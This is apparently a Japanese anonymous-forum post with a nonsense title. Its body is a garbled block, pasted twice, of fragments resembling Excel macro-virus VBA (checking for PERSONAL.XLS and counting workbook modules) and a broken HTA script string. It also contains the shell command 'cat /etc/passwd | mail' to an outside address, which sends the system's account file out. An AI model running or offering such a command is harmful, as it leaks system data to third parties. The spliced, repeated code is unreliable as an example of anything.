NHK教育を見て16421倍賢くCHAGE and ASKAのCD買おう
112 ：NHK名無し講座：
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？
kak.hta';ken=wd+'START
cat /etc/passwd | mail [email protected]
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？
kak.hta';ken=wd+'START
cat /etc/passwd | mail [email protected]
|
|
|